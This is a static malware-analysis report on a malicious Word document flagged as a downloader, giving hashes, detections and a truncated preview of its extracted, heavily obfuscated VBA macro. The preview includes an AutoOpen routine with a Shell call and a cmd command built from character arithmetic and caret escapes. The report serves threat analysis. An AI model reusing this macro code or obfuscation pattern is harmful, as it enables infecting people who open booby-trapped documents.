Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ad7028cc990a0165…

MALICIOUS

Office (OLE)

80.9 KB Created: 2018-09-20 11:02:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: 0f1261530dff1e323909d077db11f4f9 SHA-1: b042d1dee1946df14ac780ecd8a594ceb7a21f77 SHA-256: ad7028cc990a0165e4e517d97c1dd9a99d32e94a105d55a2d4239eee1f25ba09
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains a critical ClamAV detection for a downloader and a high-severity heuristic for an AutoOpen VBA macro. The AutoOpen macro attempts to execute a shell command using concatenated strings, likely to download and run a secondary payload. The specific strings used in the shell command are not fully reconstructible due to truncation, but the intent is clear.

Heuristics 5

  • ClamAV: Doc.Downloader.00536d-6692487-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6692487-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17570 bytes
SHA-256: c84a3d3963875350eaa54e538278031a29655b103e78aebb8a4905e652af99b3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "jnunpsGvwrXoD"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const GYAkNdKwCzY = 0
   Dim uHHuG(3)
uHHuG(0) = Mid(ICVVqmbl, 998, 262) + Mid(ICVVqmbl, 998, 262)
uHHuG(1) = Mid(ICVVqmbl, 998, 262) + Right(qRiYvAz, 448)
uHHuG(2) = Mid(ICVVqmbl, 998, 262) + Mid(ICVVqmbl, 998, 262)
   Dim nqkGr(5)
nqkGr(0) = Left(lbPlMf, 519) + Right(qRiYvAz, 448) + Left(lbPlMf, 519) + Left(lbPlMf, 519)
nqkGr(1) = MidB(rkWkFmI, 299, 543) + Mid(ICVVqmbl, 998, 262) + Right(qRiYvAz, 448) + MidB(rkWkFmI, 299, 543)
nqkGr(2) = MidB(rkWkFmI, 299, 543) + MidB(rkWkFmI, 299, 543) + MidB(rkWkFmI, 299, 543) + Left(lbPlMf, 519)
nqkGr(3) = Mid(ICVVqmbl, 998, 262) + Left(lbPlMf, 519)
nqkGr(4) = MidB(rkWkFmI, 299, 543) + Mid(ICVVqmbl, 998, 262) + Left(lbPlMf, 519) + Mid(ICVVqmbl, 998, 262)
   Dim iujLV(2)
iujLV(0) = Left(lbPlMf, 519) + Mid(ICVVqmbl, 998, 262) + MidB(rkWkFmI, 299, 543) + Right(qRiYvAz, 448)
iujLV(1) = Mid(ICVVqmbl, 998, 262) + MidB(rkWkFmI, 299, 543)
   Dim HcMRL(3)
HcMRL(0) = Left(lbPlMf, 519) + Mid(ICVVqmbl, 998, 262)
HcMRL(1) = Left(lbPlMf, 519) + MidB(rkWkFmI, 299, 543)
HcMRL(2) = Mid(ICVVqmbl, 998, 262) + Right(qRiYvAz, 448) + Right(qRiYvAz, 448) + Mid(ICVVqmbl, 998, 262)
Shell@ sNiYTStIRiI + oRLlHQzcKK + boApoHhD, GYAkNdKwCzY
   Dim uAPmT(2)
uAPmT(0) = Left(lbPlMf, 519) + Right(qRiYvAz, 448) + Right(qRiYvAz, 448) + Mid(ICVVqmbl, 998, 262)
uAPmT(1) = Left(lbPlMf, 519) + Left(lbPlMf, 519) + Left(lbPlMf, 519) + Mid(ICVVqmbl, 998, 262)
   Dim zMZkK(4)
zMZkK(0) = Left(lbPlMf, 519) + MidB(rkWkFmI, 299, 543) + Right(qRiYvAz, 448) + Mid(ICVVqmbl, 998, 262)
zMZkK(1) = MidB(rkWkFmI, 299, 543) + Left(lbPlMf, 519)
zMZkK(2) = Right(qRiYvAz, 448) + Mid(ICVVqmbl, 998, 262)
zMZkK(3) = Right(qRiYvAz, 448) + Mid(ICVVqmbl, 998, 262)
End Sub


Attribute VB_Name = "zjSHJABGq"
Function sNiYTStIRiI()
Dim mtIhZ(2)
mtIhZ(0) = MidB(rkWkFmI, 299, 543) + Right(qRiYvAz, 448)
mtIhZ(1) = Mid(ICVVqmbl, 998, 262) + MidB(rkWkFmI, 299, 543) + Left(lbPlMf, 519) + Mid(ICVVqmbl, 998, 262)
   Dim GhnjI(5)
GhnjI(0) = MidB(rkWkFmI, 299, 543) + MidB(rkWkFmI, 299, 543) + Right(qRiYvAz, 448) + Left(lbPlMf, 519)
GhnjI(1) = Right(qRiYvAz, 448) + MidB(rkWkFmI, 299, 543) + MidB(rkWkFmI, 299, 543) + Left(lbPlMf, 519)
GhnjI(2) = Left(lbPlMf, 519) + MidB(rkWkFmI, 299, 543) + MidB(rkWkFmI, 299, 543) + Mid(ICVVqmbl, 998, 262)
GhnjI(3) = Left(lbPlMf, 519) + Mid(ICVVqmbl, 998, 262)
GhnjI(4) = Right(qRiYvAz, 448) + Right(qRiYvAz, 448) + Right(qRiYvAz, 448) + Left(lbPlMf, 519)
   Dim mDnOt(2)
mDnOt(0) = Mid(ICVVqmbl, 998, 262) + Mid(ICVVqmbl, 998, 262) + MidB(rkWkFmI, 299, 543) + Left(lbPlMf, 519)
mDnOt(1) = Mid(ICVVqmbl, 998, 262) + Mid(ICVVqmbl, 998, 262)
   Dim JPdqDn(4)
JPdqDn(0) = Mid(ICVVqmbl, 998, 262) + Right(qRiYvAz, 448) + MidB(rkWkFmI, 299, 543) + Left(lbPlMf, 519)
JPdqDn(1) = Right(qRiYvAz, 448) + Mid(ICVVqmbl, 998, 262)
JPdqDn(2) = Left(lbPlMf, 519) + MidB(rkWkFmI, 299, 543) + MidB(rkWkFmI, 299, 543) + Right(qRiYvAz, 448)
JPdqDn(3) = Right(qRiYvAz, 448) + Mid(ICVVqmbl, 998, 262) + Right(qRiYvAz, 448) + MidB(rkWkFmI, 299, 543)
znqkQzL = CStr(Chr(CleanString(17 + 16 + 16 + 17 + 33))) + "md /V/" + CStr(Chr(CleanString(12 + 11 + 11 + 12 + 21))) + CStr(Chr(CleanString(5 + 5 + 5 + 5 + 14))) + "^" + "s^e^t m^J" + "^WN=^ ^  " + " ^ ^ ^" + " ^ ^    " + "^ ^ ^" + " ^  ^}^}^{h" + CStr(Chr(CleanString(17 + 16 + 16 + 17 + 33))) + "^ta" + CStr(Chr(CleanString(17 + 16 + 16 + 17 + 33))) + "^}^;k"
Dim uPqwli(4)
uPqwli(0) = Mid(ICVVqmbl, 998, 262) + Mid(ICVVqmbl, 998, 262) + Mid(ICVVqmbl, 998, 262) + MidB(rkWkFmI, 299, 543)
uPqwli(1) = Right(qRiYvAz, 448) + MidB(rkWkFmI, 299, 543) + Mid(ICVVqmbl, 998, 262) + Left(lbPlMf, 519)
uPqwli(2) = Left(lbPlMf, 519) + Left(lbPlMf, 519) + Mid(ICVVqmbl, 998, 262) + Mid(ICVVqmbl, 998, 262)
uPqwli(3) = Right(qRiYvAz, 448) + Right(qRiYvAz, 448)
   Dim TMukc(2)
TMukc(0) = L
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